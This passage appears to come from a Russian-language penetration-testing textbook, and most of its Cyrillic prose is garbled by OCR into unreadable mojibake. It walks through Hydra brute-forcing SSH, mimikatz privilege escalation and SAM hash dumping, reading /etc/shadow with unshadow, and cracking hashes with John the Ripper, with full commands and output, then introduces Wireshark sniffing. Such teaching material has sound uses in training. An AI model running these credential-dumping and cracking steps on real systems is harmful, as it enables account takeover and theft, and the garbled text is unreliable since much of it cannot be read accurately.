ITpuBemeM IpUMeEpPHI ee UCIOIb30BaHusL. B epBoM cirydae mogbepeM mapoJib OT Ha-
nrero SSH-cepBepa:

root@kali:~# hydra -1 root -P /root/Downloads/500-passwords.txt ssh://127.0.0.1
Hydra v8.8 (c) 2016 by van Hauser/THC - Please do not use in military or secret
service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2022-12-12 ©8:30:10

[WARNING] Many SSH configurations limit the number of parallel tasks, it is
recommended to reduce the tasks: use -t 4

[DATA] max 16 tasks per 1 server, overall 64 tasks, 500 login tries (1:1/p:500),
~0 tries per task

[DATA] attacking ssh://127.0.0.1:22/

[22][ssh] host: 127.0.0.1 login: root password: MyBestPass

1 of 1 target successfully completed, 1 valid password found

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-12-12
08:30:59

B sToM nipumepe UCIosIb30BaHbI CJIe/IYIONIIe TapaMeTphl:

® -1B-1 root yKasblBaeT Ha UMsI TIOJIb30BATEsT, KOTOPOE OY/IET UCIIOJIB30BATHCS
IIPU aTaKE;

® -PB-P /root/Downloads/500-passwords.txt 3agaeT ¢aiis co CIIMCKOM TapoJielt;

® ssh://127.0.0.1 yKa3biBaeT IeJIEBOI XOCT U IPOTOKOJI, HA KOTOPbIe Oy/eT Ha-
IpaBJieHa aTaka.

B kauecTBe BTOPOTO MprMepa TPOAEMOHCTPUPYEM, Kak MOKHO TipuMmeHnTh Hydra
JUIs ataku Ha BeO-cepsep. YacTo i OTIPaBKU Ha CepBep JIOTMHA U MaPOJis 10JIb-
3oBatesst ucrosb3yercd Meto; HTTP POST, umMenHo Ha HeM MBI 1 OCTAaHOBUMCSI.

Onmako mpesk/ie 4eM MbI HATHEM, HEOOXOMMO OTTPEIETUTHCS € HECKOTbKUMI TIO/T-
pobuocTsimu. TlepBoe: HaM Hy)KHO HA#TH, KaKUM 06pa3oM Mapoib mepeaaeTcst Ha
cepsep. Bropoe: Heo6X0IMMO TIOHSITD, KaKie epeMeHHbIe HCTTOTB3YIOTCS IS Tiepe-
Jlauu JloruHa v naposis. Y Hakonely, Hy»KHO y3HaTb, KAKOH OTBET BO3BPAIlaeT cepBep
B CJlyyae HeyIauHOM MOTIBITKY BXOJIa B CUCTEMY.

Bce 910 MOXKHO y3HATH, U3YUUB TIeJIb aTaKH, JJIsI TOTO MBI ¢ TOMOIIBIO Burp mpo-
anammaupoBaan HTML-kox crparutst (puc. 9.1).

[l 3ammycka JaHHOM aTaku MbI MCIIOJIb30BAJIN CJIE/LyIOIIUeE [TapaMeTphbl:
® -1 yKasbIBACT JIOTUH, JIJIT KOTOPOTO Oy/IeM Tiepebrparh mapoJiu;

® -P yKa3bIBaeT CIIUCOK MapoJiel;

® -Vv [I0Ka3bIBaeT MOAPOOHYI0 MHPOPMAIIUIO 0 X0 PabOoThI;

)

-f ocTaHaBJIMBAET BBIIOJHEHME MOCJe TOro, Kak OyAeT HaiileHo [epBoe COBIa-
JIeHHeE.
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e
input type="hidc

ype

_email"3E-pastse,

type="enail® value=""

submit”™ data-disable-withe"|

1_content-panel user

Puc. 9.1. HTML-Kkoa LeneBoi CTpaHULbl

OdnanH-aTakm

Odnaiit-atakn 06BIYHO OTPAHUYEHBI PECYPCAME aTAKYIONIETO U He TPEGYIOT TM0-
CTOSTHHOI 0OPATHOI CBSI3U C aTaKyeMbIM CEPBEPOM, TT09TOMY B OOIIEM CJIydae OHU
MOTLYT JUIUTHCS FOPA3/I0 JI0JIbIIIE.

Jlornuno IIPEAIIOJIONKUTD, YTO €CJIN ITOJIb30BATE/Ib MOKET aBTOPU30BATHCA B CUCTE-
M€, UCTTOJIb3y 4 JIOTUH U TTaPOJIb, TO 9TU JAHHBIC TOJIZKHDI T/IC-TO XPaHUTLCS, IIPUYIEM
XPaHUTHCA OHU AOJIKHDBI B 3alllUIIIEHHOM BU/I€ (XCHH/IPOBaHHOM).

XerpoBanue mapoJieit — 3To porece mpeodpazoBaHus BBEIEHHOTO MOJIb30BaTe-
JIeM TIapoJis B CTPOKY (PMKCUPOBAHHOM JVIMHBI, HA3bIBAEMYIO XerieM. Xen-(pyHKITUs
obJstaiaeT CBOMCTBOM YHUKAJIBHOCTH: JIasKe HESHAUUTEIbHOE M3MEHEHUE UCXOIHBIX
JTAHHBIX TTPUBOIUT K TEHEPAIINH COBEPITIeHHO ApyToro xetna. [Tockosbky mporiecc xe-
HIMPOBAHMS SIBJISIETCST OJJHOCTOPOHHUM, 3TO JleJlaeT HEBO3MOKHBIM BOCCTAHOBJIEHIE
MCXO/THOTO TIapoJist u3 xerna. [laxke ecii 6a3a JaHHBIX € XEITaMK MapoJieil CTaHOBUTCST
JIOCTYITHOH aTakyIollM, OHU He MOTYT C JIETKOCTbIO BBIYMCJIUTD IIepPBOHAYAIbHbIE
MIApOJIN.

Eme oiHO MOHSATHE, ¢ KOTOPBIM CTOUT O3HAKOMHUTBCS, — 3TO «COJb> — CIyJaiiHas
CTPOKa, T0OABJISIOAACS K TAPOJIIO MEPE TeM, KaK OH OY/IET XeIUPOBaH. ITOT MPO-
1ece yydiaer 6e30MacHOCTb, esiast GoJiee TPY03aTPATHBIMU aTaK|, HATTPABJICHHbIE
HA BOCCTAHOBJICHUE MIEPBOHAYAIHHOTO mapoJist. Koraa cosib 106aBIIsieTcst K mapoJio,
OHA JleJTaeT KaxK/IbIi Xelll yHUKAJIbHBIM: JIasKe €CJIH JIBa MapoJist UIEHTUYHBI, TO COJIb
JUIST K&KIOTO TAPOJIsT OOBIYHO BRIGUPAETCS CYYaiHBIM 0OPA3OM.

BaskHo 0oT™METHTB, UTO COJTb 0OBIYHO XpaHUTCS B 6Ha3e JaHHBIX BMecTe ¢ XereM. Ee
11eJIb — YBEJUYUTD CJI0KHOCTb aTaKH 1 3aTPYAHNUTD UCIIOJIb30BaHNeE IIPe/IBAPUTETHHO
BBIYKCJIEHHBIX TAOJIUI] XEIlIeit, a He CKPBITh HH(POPMAIIUIO.
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MonyyeHune xewen

B pasHbIx cricTeMax mapoJii OyayT XPaHUThCS B PasHBIX MecTaX. B BeO-TIPHIIOKEeHIN
oHu xpaHaTcs B 6ase ganHbix, B OC Windows — B 6ase naHubix SAM ¢ uciosibzosa-
HueM LM- unn NTLM-xenieii B 3aBUCMMOCTH OT BEPCUH.

XpaHeHnue mapoJjiell ¢ ucmnosab3doBanueM LM ocytiecTBasm0Ch BO Beel IMHeKe
Windows NT, sxmouas Windows 2003. JJlaHHbIi TUIl XpaHeHU JAHHBIX UMEeT Psij|
HegoctaTkoB. [Taposi aiiHHee 7 CMMBOJIOB PasOMBAOTCS HA YACTH, Kaskaash 13 KO-
TOPBIX XEHIMPYETCS U XPAHUTCS OTAEJIBHO; BCE CTPOUYHbIE OYKBBI KOHBEPTUPYIOTCS
B IIPOITMCHbIE; HE UCIIOJIb3yeTcst coJib. Bo Bcex Bepcusix Windows, nauntas ¢ Vista,
napoJin xpausrest B 6osee HajesknoM suge — NTLM. Onnako coJib TakKe He Uc-
MOJIb3YETCS.

Crout oTMETHTB, 4TO Oa3y JaHHbIX SAM HEBO3MOKHO CKOTIMPOBATb, TIOKA OIIEpaIi-
oHHas cucTeMa paboTaer, Totomy uTo siipo Windows obecriednBaeT 9KCKITIO3UBHYIO
6s10kupoBKY (aitia. OHAKO /ISt TPOBEEHHUST aTaK Mbl MOKEM HCIOJIb30BaTh 110
mimikatz, koTopoe crienuaibHO pazpaboTaHo Jijist BITPy3Ku xetneir SAM. Moyu
mimikatz o6sierdator nsBJeueHme Xelei mapoieil U3 maMsITH MPOTIECCa TTOCUCTEMbI
JIOKaJIbHOM ¢J1ysKObI GesoracHocTr (LSASS), riie OHU KaIMPYIOTCSL.

ITockonbky LSASS apigercsa NpUBUIErMPOBAHHBIM IPOILECCOM, PAbOTAIOIIMM
¢ npaBamu 1ojb3oBareass SYSTEM, Mbl moskHbI 3aycTuTh mimikatz ¢ npasamu
aamunucTparopa (puc. 9.2). /lns usBiedeHus xemiel mapoJieil cHaua a BBITOJIHUM
aBe koMaHbl [lepBas — privilege: :debug, koTopas oOecliednuBaer 1pasa A0CTyIia
SeDebugPrivilge, HeOOXOANMBIE JIJISI BMENIATEIBCTBA B IPYTOI MPOIECC.

LSASS ssasiercst porieccom SYSTEM, ato o3Hadaer, 4To y Hero elie 6oJiee BhICOKIE
npuBMjIerny, yeM y mimikatz, paboTaiomero ¢ afMUHUCTPATUBHBIMU [IPUBUJICTHSAMU.
YT06bI PEIINTD HTY IPOOAEMY, MbI UCIIOJIb3yeM KOMaHj1y token: :elevate.

BR mimikatz 2.1.1 x64 (oe.eo) — O e
C:\UsersyDarry\Downloads\mimik w64 mimikatz
CHEEEE. mimikatz 2.1.1 (x64) built on Aug 13 2822 12:23:53

O~ ##. "A La vie, A L'Amour”
#F SN #HF S =

## \ / ## Benjamin DELPY "“gentilkiwi™ ( benjamin@gentilkiwi.com )
“HE v http://blog.gentilkiwi.com/mimik {oe.eo)
i with 21 modules * * */

mimika #

Puc. 9.2. lMepsbiit 3anyck mimikatz

HpOI/IJUIIOCTpI/IpyeM ITOBbIIIEHNE HDI/IBI/I]IGI‘I/Iﬁ 1 ITOJIy4Y€HME TOKEeHa:

mimikatz # privilege::debug
privilege '20' OK
imikatz # token::elevate
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Token Id : ©

User name :

SID name : NT AUTHORITY\SYSTEM

700 {0;000003e7} © D 79686 NT AUTHORITY\SYSTEM S-1-5-18 (10g,28p) Primary

-> Impersonated !

* Process Token : {0;00179ecc} 1 F 426777763 AzureAD\Darry -1-12-1-2020502230-
1182113820-501065116-4143227616 (12g,23p) Primary

* Thread Token : {0;000003e7} © D 427478422 NT AUTHORITY\SYSTEM -1-5-18
(10g,28p) Impersonation (Delegation)

imikatz #

Teneps mosryanm cojepRrumMoe 6asbl JaHHbIX SAM:

mimikatz # lsadump::sam

Domain : DESCTOP-4RTG343

SysKey : 45dd5vf53bly0i468he67gf63h965gcx

Local SID : S-1-5-21-3424061778-1841536677-1849652443
SAMKey : 9b65bd68c78868136e2622f2b9a625

RID : ©00001f4 (500)

User : Administrator

LM:

NTLM: 31d6cfeld265ae587b59¢59d7e0c089cO

RID : ©00001f5 (501)
User : Guest

LM:

NTLM:

RID : 000001f7 (503)
User : DefaultAccount
LM:

NTLM:

Listing 616 - Dumping the SAM database

B Unix-niogo6ubix OC daiin /etc/shadow comepsxut sanmidpoBaHHbie HAPOJIH T10Ib-
30BaTeJIei, a Takske Apyryto uH(OpMAaIMIO 0 H0JIb30BaTeNbCKUX akKayHTaxX. Kaxas
CTpPOKa B (paiiyie ONMUCHIBAET OJIHY YUYETHYIO 3aMUCh U UMeeT CIAeAyIoNuil (popMar:

“username:password:last_change:min_age:max_age:warning:inactivity:expiration:re
served’

ITpumep 3anucu B daiine /etc/shadow:

“jdoe:$6$Trfgd$Wp. fR3Ed10osGkPO31FgMakG181RXckkhkaaesf.s5v1ABCD
EF12345:18090:0:99999:7:::"
I{CHOHBBOBaHbICHeﬂyKHHHeIIapaMEprH

® jdoe — MM I10JIb30BATEIS;

® $6$Trfgd$Wp.fR3Ed10sGkPO31FgMakGl81RXckkhkaaesf.s5v1ABCDEF12345 — 3a-
U POBAHHbBIN 1TAPOJIh T0JIb30BATENSI. $6$ YKA3bIBAET, UTO IIPUMEHSIETCS AJIrO-
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putm SHA-512. 3a uum cienyer coub (Trfgd), a 3aTeM cam 3ammdpoBaHHBIN
1apOJIb;

® 18090 — 1aTa IIOCJIeIHErO0 NU3MEHEHNS ITapoJisd, BbIpaKeHHas B KOJINYeCTBE JTHEH,
orcuntannbix ot 1 ssuBaps 1970 roxa;

® 0 — MUHUMAJBHBIN BO3PACT MapoJIst (B AHSX ), TP KOTOPOM €T0 MOSKHO N3MEHUTB;

® 99999 — MaKCUMaJbHBIM BO3pacT MapoJs (B AHIX), IPU KOTOPOM €ro Hy>KHO
MU3MEHUTD;

® 7 — TIepuo] peaynpeKaeHNs (B THIX) TIepe/l NCTeUEHIEM CPOKa AeHCTBIS Tapo-
sist. Ilycrble 11014 ¢ @ @ 03HAYAIOT, YTO 3HAYEHMS 114 [IePHo/ia HEaKTUBHOCTH, JaThl
HCTeYeHUS aKKayHTa U 3ape3ePBUPOBAHHOIO 110151 HE YCTAHOBJICHBIL.

B3noMm xewa

Y1o6bI yCIenrno B3J10OMaTh X€II 1apoJid, Hy>KHO 3HaTh, KaKoi AJITOPUTM XE€HIn-
POBaHMA UCIIOJB30BAJICA JIA €0 CO3/[aHnA. Pasmnrbie AJITOPUTMbBI UMEIOT Pa3HbI€
XapPaKTEPUCTUKU 1 YPOBHU 6630H3.CHOCTI/I, 1 HEKOTOPbIEC N3 HUX MOTYT ObITL GoJtee
YA3SBUMBIMHU /IJIA aTaK, YEM JIpyTHe.

Jlnst ompenesienins tuma xerra B Kali Linux ects yrusura hashid. 3tot unerpyment
aHAJIM3UPYET TIePEAHHbBIIT €My Xelll 1 OIPeIesIsieT, KAKOI aJITOPUTM XeITHPOBAHHSI
ObL1 Mcosb3oBan st ero cozmanus. Hashid criocoben pacriosnaBats 60sbinoe

KOJIMYECTBO TUIIOB XeIlleid, BKJTIoUast Takue pacrpoctpaneHHbie, kKak MD5, SHA1,
SHA256, SHA512 u T. z1.

Wcnosnbzosath hashid Hecsoxuo. Bam HY/KHO JIHIIb IT€pefaTh Xell Kak HapamMeTp
TIPU 3aITyCKe KOMaH/IbI:

root@kali

Ho y3Hatb ajroputs, 1o KOTopoMy ObLI CreHEPUPOBAH Xelll, MaJjlo, MbI HE CMOKEM aB-
TOPU30BATHCS B CUCTEME TOJIBKO € ATUMU JaHHbIMU. Ham Hy:xen cam naposib. B atom
Ham momMoskeT John the Ripper. 9ta mporpammMa yHUBepcaibHa, Kak apMeHCKUH HOK,
TOJIbKO paboTaeT ¢ naposamMu. OHa HOAAEPKUBAET OIPOMHOE KOJMUYECTBO (hOPMATOB
U IIOCTOSTHHO OOHOBJISIETCSL.

ITonpobyeM 3amycTuTh ee s nepebopa mapoJieil K Xelam, KOTOPble Mbl HaIILIN
pamHbIIe:

root@kali:~# john /root/hash.txt

Warning: detected hash type "LM", but the string is also recognized as "NT"
Use the "--format=NT" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as
"HAVAL-128-4"

Use the "--format=HAVAL-128-4" option to force loading these as that type
instead



OdnaitH-aTaku 269

Loaded 6 password hashes with no different salts (LM [DES 128/128 SSE2])
Press 'q' or Ctrl-C to abort, almost any other key for status

John the Ripper cpasy onpemernmn Tum xenia u Hadas moabupath maposan. OaHaKO
Ha 0OBIYHOM KOMITHIOTEPE ATO 3alIMET TOCTATOUHO MHOTO BpeMeHu. VIcTob3yeMm st
ITUX TeJIeH CTIUCOK € TTAPOJISIMI:

root@kali:~# john --wordlist=/root/Documents/500-passwords.txt /root/hash.txt
-format=Raw-MD5
Loaded 3 password hashes with no different salts (Raw-MD5 [MD5 128/128 SSE2

4x3])

Press 'q' or Ctrl-C to abort, almost any other key for status
123456 (?)

beer (?)

2g 0:00:00:00 DONE (2016-11-06 08:06) 40.00g/s 10020p/s 10020c/s 16260C/s
russia..albert

Use the "--show" option to display all of the cracked passwords reliably
Session completed

Ocranocs pazobparbest ToabKo ¢ naposamu OC Linux. Yto6bl HauaTh mogdupaTh
napoJii K xemaM Linux, HeoOXoauMo oobeanHuTh (aiinbl passwd u shadow mpu
nomoly yruintsl unshadow:

root@kali:~# unshadow /etc/passwd /etc/shadow > /root/u_shadow.txt
root@kali:~# cat u_shadow.txt
root:$6$zfBfniBV$DHy/6a/09edbiQZ32/QkWobSUNUFUbNZz8Q. tBPVM6YyxS5D.uKwb53If1A7T2ST
wk8YJIwb31XxVrXWIxJ13Jvk1l:0:0:root:/root:/bin/bash
daemon:*:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:*:2:2:bin:/bin:/usr/sbin/nologin
sys:*:3:3:sys:/dev:/usr/sbin/nologin
sync:*:4:65534:sync:/bin:/bin/sync
games:*:5:60:games:/usr/games:/usr/sbin/nologin
man:*:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:*:7:7:1p:/var/spool/1lpd:/usr/sbin/nologin
mail:*:8:8:mail:/var/mail:/usr/sbin/nologin

amyckaeM John the Ripper:

root@kali:~# john --wordlist=/root/Documents/500-passwords.txt /root/
u_shadow. txt

Warning: detected hash type "sha512crypt"”, but the string is also recognized as
"crypt"

Use the "--format=crypt" option to force loading these as that type instead
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 SSE2 2x])
Press 'q' or Ctrl-C to abort, almost any other key for status

toor (root)

1g 0:00:00:00 DONE (2016-11-06 ©8:15) 2.564g/s 164.1p/s 164.1c/s 164.1C/s
123456. .joshua

Use the "--show" option to display all of the cracked passwords reliably
Session completed
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Paay>xHble Tabnuupl

BssaMbiBaTh Taposint 1epeGopoM 0UeHb 100, VI eciti BaM MPUXOAUTCS IeIaTh 9TO
6€e3 HyKHbIX BBIUHCJIUTEIbHBIX MOIIHOCTEH, TO TTOJ0OPAHHBIN 11apPOJib K TOMY Bpe-
MeHH, KaK BbI €r0 II0JIy4YrTe, IlepecTaHeT ObiTh aKTyabHbIM. [Opasio mpoie cpasy
CTeHepupoBaTh TaOJIMILY Xellel 1 Hapojieil — oHa 3aliMeT OuYeHb MHOTO MECTa, 3aTO
IIOTOM IIOUCK IIAPOJIs IO Xelry OyZeT MPOMCXOAUTh MOIHUEHOCHO. Takue crenepu-
poBaHHbIe 3apaHee 6a3bl JAHHBIX ¥ HA3bIBAIOT pajyKHbIMU Tabaunamu (raindow
tabeles).

B MHTEpHETE MOKXHO HaWTH 3apaHee CreHeprupoBaHHbIE Ta6JII/IHbI, CKayaTb UX 1 UC-
110JIb30BAaTh Ha CBOEM KOMIIbIOTEPE MJIN K€ BOCIIOJIb30BATbCA OHJIafIH-BepCI/Iefl

(puc. 9.3).

5] Lo —
1

vCrackStat

!"!B Defuse.ca - Y Twitter

on y ®

Free Password Hash Cracker

Enter up to 20 non-salted hashes, one per ine:

20Bcebzobeidsbfogfderatodlcasads

. I'm not a robot

Crack Hashes

Supports: LM, NTLM, md?, mdd, mdS, mdS{md5_hex), mdS-half, shal, sha224, sha?56, shal4, shaS12, ripeMIGD, whirlpool, MyS0L
4.1+ (shai(shal_bin}), QubesV'3 1BackupDefaults

Hash Type Result

adainistrator

208ceb?GBATAELT 9T AGT410d 1 ca544d " md5 l

Color Codes: Green: Exact match, Yellow: Partial match, BB Mot found.

Puc. 9.3. MpyMep 1CMoMb30BaHUs paay>XHoi TabnuLibl
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ITepexsar undopmanuu (Sniffing) — 910 KOMILIEKC HEHCTBUI AJI IOTYyYEHUS 10-
CTyIa K JIAHHBIM, KOTOPbIE TIEPEAAIOTCS 10 TIPOBOJIAM, OTITOBOJIOKOHHOMY KabeJrio,
BUTOH T1ape, paJinoBOIHAM WJTH JTI000# pyTOii cpeie. Bbl He moBepuTe, HO 710 CUX TOP
MHOTHE CEPBUCHI MIEPEATOT MAPOJIH, TEPCOHATbHbIE TAHHBIE U JAPYTYIO TPUBATHYIO
nH(pOPMAITIIO B OTKPBITOM, He3aIMU(PPOBAHHOM BHUJIE, TEM CAMBIM JIeJiasi ee JIETKO-
TOCTYITHOH JIJIsT 3/I0YMBITIJICHHNKA.

[Ipesxzie ueM IPUCTYIIUTD K PACCMOTPEHUIO CAMOTO METO/Ia, BCIOMHUM OCHOBBI T€0-
puu nepeaun JaHHBIX.

Bo-mepBbIx, BakHa Bala ceTeBas KapTa. [Ipu ee momoni BB MOAKIIOUaeTeCh K Cpezie
nepeavn JaHHBIX — KabeJTio Wi 6eCIpPOBOHOMY coeinHeHuI0. [Ipeanomoxmum, 4To
ceTeBas Kapra MPUHUMAET CUTHAJIBI, TIOCTYIAIONIHME K HEH 10 MPOBOY. ITO 0OBIU-
HbIE 3JIEKTPUUECKUE CUTHAJIBI, KOTOPBIE BIIOCJIEACTBIE OYyT TPaHC(HOPMUPOBAHDI
B TToJie3Hy10 wHhopMmaIino. Eciam Ha ceTeByI0 KapTy MPHUIIEST MaKeT, B 3aT0JI0BKE
KOTOPOTO yKazaH ceTeBoH agpec naTepdeiica (MAC), IMUpoKoBemaTe bHbIH ajipec
nozceru (broadcast) wim To, 4TO OH ABJIsIETCA MHOTOaAPecHbIM (multicast), kapra
o6paboraet 3Ty MHGMOPMAIIUIO U TIEPEIACT ee ONePAIMOHHON crucreMe. B 06bIuHOi
cucTeMe ceteBas KapTa He Gyjier IpuHUMATh HHHDOPMAIIUIO, a[PECOBAHHYIO JIPYTOMY
MOJIy4aTesIo, U TPOCTO YHUUTOXKHUT €ee.

Vcxozs u3 cKasaHHOTO BBIIIE MOHSATHO: YTOOBI [IepeXBaThIBaTh BECh MY 1O CETH
TpaduK, HeOOXOANMO U3MEHUTD PEKUM PAOOTHI CeTeBOI KapThl. OOBIYHO 9TO JleTaeT-
cs1 3aMeHOH jipaiiBepa u (1in) 6ubarorexy, yepes koropsie OC yIpaBJIsieT ceTeBbIM
unrepdeiicom. /It Windows ato uarie secero WinPcap, auis Linux — libpeap.

Bo-BTOPBIX, HEOOXOMMO YUECTh CPeLy TIepeaadun TaHHbIX. J[Jist GeCIIPOBOIHBIX ceTei
BC€ JIOCTATOYHO MTPOCTO: YTOODI MEPEXBATHIBATH TPahUK, BAM HEOOXOINMO 3aMEHUTD
apaiisep u (min) GubIMOTEKY U yCTaHOBUTH clieluaabHoe IO, 0 HeM MbI IIOTOBOPUM
nozske. C ceTsiMu, B KOTOPBIX JUISA OJKITIOUEHST KCTIO/b3YeTCst Kabeib, BCe HEMHOTO
CTIOKHEe, HA HUX MBI M OCTAHOBUMCS.

[l Havama paccMOTPUM TIpHUMep, KOT/a B CETH NCTIOTb3YeTCsI OIHA CPejia Tiepeiaun
TAHHBIX, HATIPIMED, B CTAPBIX CETSIX TOTIOJOTUN THIIA «KOJBII0» (DAKTHYECKI OIUH
KabeJib, a U1 MoAKIoueHns narepdeiica Heobxoaumbl T-kornexTopsl (puc. 10.1).
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[l mepeiaun TaHABIX B TaKOH ceTn ncrosb3yeTcst mpotokos CSMA /CD. Tlporokosr
OCHOBAH Ha TOM, YTO CPE/Y Mepe/laur JAHHBIX MOKET UCIIOJIb30BATh TOJbKO OJIUH
unrepdeiic; Koraa oH nepegaer MHGOPMALIIO, BCe OCTalbHbIe HHTepdeiich paboTaioT
TOJIbKO Ha nipueM. B cirydae, ecu iBa untepdeiica mbITAlOTCS TTePeaBaTh JaHHble
OJTHOBPEMEHHO, BO3HUKAET KoJu3us. [Ipu aToM Bce mHTEP(dENCh OCTAaHABIUBAIOT
TPAHCJSAIIHIIO JAHHBIX 1 Yepe3 ONpee/IeHHbIN TPOMEKYTOK BPEMEHHU TTBITAIOTCS T10-
BTOPUTH TIepeiavy CHOBA.

Bce untepdeiicol B mpejesax Takoro CErMEHTa CETH I10J1y4aloT BCIo HHPOPMALMIO,
KOTOpas 1o Heil mpoxoaut. I1o Takomy ke npuniuiry padoraer xa6 (hub). Bee moxa-
KJIIOYEHHBIE K HEMY KOMITBIOTEPBI TIOJIYYaIOT BCIO MOCAAHHYIO B CETh MH(MOPMAIINIO,
HECMOTPA Ha TO 4TO Ka)KZ[bH';I N3 HUX NCITOJb3YET AJIA IMOJAKITIOYCHUS CO6CTB€HHBH>,I

kabesb (puc. 10.2).
] m =
Prrinttoy Pinstoy
| - B w
. |

Puc. 10.1. Tononorns «KosnbLo» Puc. 10.2. Tononorus «3pe3ga»

Mo3KHO c/iesiaTh BBIBOJI, YTO MEPEXBAT JAHHBIX B TAKUX CETSIX SBJISIETCS JOCTATOYHO
TpuBHaIbHOM 3a/1a4eil. [lepexBaT Tpaduka ycaoxxHaeTCS B TOM cJlydyae, Korja Jus
OpraHM3aI[K CEeTH UCTIOJIb3yeTcst cBud (switch). [leio B ToM, U4TO cBUY 3HAET ajipec
KOMITBIOTEPA, KOTOPBIH MOKII0UEH K ero nutepdeiicy, n He meperpasJisger uudop-
MAITUIO OT OTIIPABUTEJIST HUKOMY, KPOME ajipecata.

B-tperbux, st epexsara Ham HeoOxoauMo cooTBerctytoriee ITO. s mpumepa
PacCMOTPUM IIUPOKO UCIIOIb3YIOIIUICS 1 OU€Hb MOMYJISPHBIA poaykT Wireshark.

MaccuBHbLIM NepexBaT Tpaduka

Camblil IpocTOoii 1 6e301acHblil cr1ocod mepexpaTa JaHHbIX — IIACCUBHBIN. JlaHHbII
crocob nepexsara paboTaeT B CETSAX, KOTOPbIE PA3/IEISIOT O/IHY U TY JKe CPey repe-
JIavu JIAHHBIX (TOTIOJIOTHUST <KOJIBII0», OECTTPOBOIHAS TTepe/lava JaHHDIX ) HJIU B CETSIX,
MTOCTPOEHHBIX Ha Xabax.

Wireshark

PaccMoTpuM mepexBaT JaHHBIX ¢ ucnosb3oBaneM Wireshark. Wireshark — sto Gec-
TTATHBIA W OTKPBITBHIA CETEBOU aHAJIN3AaTOP MAKETOB, IEPEXBATHIBAIONINN CETEBOU
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TpabuK 1 aHATM3UPYIONNI TTAaKeThI, epeaBaeMbie yepe3 ceThb. Wireshark mosker
MepPexXBATBIBATH 1 OTOOPAKATh JAHHbIE, TTEPEAAIONIMECS M0 PA3IUYHBIM CETEBBIM
nporokosiaM (HTTP, FTP, DNS, TCP/IP u T. 11.), 103B0JIsIg T10JIH30BATEJSIM TTPO-
CMAaTPUBAThH ETATBHYIO UH(DOPMAIIUIO O KAJKIOM TTaKeTe. ITOT HHCTPYMEHT UCTIOJIb-
3yercst JIJIst 0OOHAPY KeHUsI OINOO0K, aHAJIN3a CETEBDIX TTPOOJIEM, Pa3pabOTKU CETEBBIX
TIPOTOKOJIOB 1 OOy IEHMSI.

[TpoxemoncTpupyem BoamosxkHoCTH TipuMenennst Wireshark st mepexsara n ana-
Jmi3a Tpaduka.

Jlnst navana samycrnm Wireshark; 8 Kali Linux om mpeayctaHoBieH, OXHAKO 3Ty
YTHJIUTY HEOOXOANMO 3aIyCKaTh C OBBIIIEHHBIMU IIPUBUJIETUSIMHE, TI09TOMY HC-
HOJIb3YEeM CJIEYIONIYI0 KOMaH/TY:

$sudo wiresark

ITpeske yeM Mbl HAYHEM 3aXBaTbiBaTh TpaUK, CTOUT YIIOMIHYTh 00 OHOI Kpaiite
noJsie3noit pyHkimu — punsrpax Wireshark.

B Wireshark cymecTyror 1Ba 0CHOBHBIX THIIA (DUIIBTPOB: (DUIIBTPBI 3aXBaTa U (PHIb-
Tpbl 0ToOpakeHus. DUAbTPHI 3aXBaTa MPUMEHSIOTCS BO BPEMSI 3alIUCH CETEBOTO
tpaduka. OHU TO3BOJISIOT OMPEAETUTH, KAKUE TTAKEThI TOJKHBI OBITH 3aXBaY€HbI
M COXPaHEHBI /IS Tocyeyonero anaansa. Hanpumep, BbI MOXKeTe HACTPOUTD
ubrp 3axBara TakuM 06pa3oM, 4ToObI coXpaHATh ToJabK0 TCP-Tpaduk ¢ onpee-
senHoro IP-azpeca. B ¢Boto ouepe/ib, GuiIbTpbl 0TOOPaKEHUS TIPUMEHSIIOTCS K YIKe
3aMMUCaHHOMY TPaUKY.

B nannom cirydae Mbl BOCTIOJIb3yeMCs (PUJIBTPOM 3aXBaTa C 1EJIbI0 YMEHbITUTh KOJIU-
yecTBO cobupaemMoil uudopmannu. besycioBHo, B Hallell TecTOBOM cpeje Tpaduka
HE TaK y’K 1 MHOT'O, HO B PEaJTbHBIX YCJIOBUAX BBl MOJKETE CTOMTKHYTHCSA C OTPOMHBIMIN
obbeMamit 1aHHBIX. KOHEYHO, «MHOTIO HE MaJio», OJJHAKO aHa/Ii3 OOJIBIIOTO 00beMa
JaHHBIX HOTPeOyeT OOJIbIe BPEMEHH 1 PECYPCOB, a ECJIH 9TOI0 MOKHO U30€KaTh, TO
novyemy Obl ¥ HET?

Duibrp MOKHO 3a4aTh 11060 B riiaBHoM okHe Wireshark, nmu6o 8 menio Capture »
Capture options (puc. 10.3). B mocyiesisem npuBeieHbl Oosiee THOKHE BO3SMOKHOCTH
HACTPOIKHU, TOITOMY PEKOMEH/IYETCST O3HAKOMHUTHCSI C HUMH CAMOCTOSITEJIBHO.

B xauectBe duibrpa ykaxkem auanason [P-anpecos (net 192.168.91.0/24), nis
KOTOPBIX XOTUM OCYIIECTBUTD 3axBaT nHMGopMarmu. [Toka OyIeT WaTH 3aXBar, aBTo-
pusyeMcsi B UHTEPHET-Mara3mHe.

[Tocue BoiGopa uHTEpdEiica HauHeTcst cO0p MaHHBIX. B Hauasie riaBbl yIOMUHAIOCH
0 TOM, YTO MOHUTOPHHT TparKa B 6ECTIPOBOAHBIX CETSX paboTaeT HAMHOTO TIPOTILE.
Tak OHO 1 eCThb: YTOOBI TPOCMATPUBATH IAHHBIE CO BCEX KOMITBIOTEPOB OECIIPOBOIHO
CeTH, IOCTATOYHO MPOCTO BBIOPATh HYKHbBIH HHTEPdEIIC.

[Tocste Toro Kak BbI cobepeTe Hy;KHOE KOTUYECTBO JAHHBIX, OCTAHOBUTE COOP MAKETOB.
Tenepb MX MOKHO COXPAHUTD /LI MOCJAEYIONIETO aHAIN3a UK HAYaTh aHATTM3UPO-
BaThb CPasy.
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‘ The Wireshark Network Analyzer - o x
Eile Edt Mew Go Capture Analyze Statistics Telephony Wireless Tools Help
7 r f =6 & = &5
AR IO FRRL EEK&EE
[I]Apply a display filter ... <Crl-/> = -| +
Welcome to Wireshark
Capture
..using this filter: (|| [net 192.168.91.0/24 B3 -] |Allinterfaces shown -
any ¥ —
Loophack: lo A A
bluetocth0 [}
eth
bluetooth-monitor
nflog
niqueue
dbus-system

dhus-session

Cisco remule caplure: ciscodump

DisplayPort AUX channel momitor capture: dpauxmon
Random packet generator: randpkt

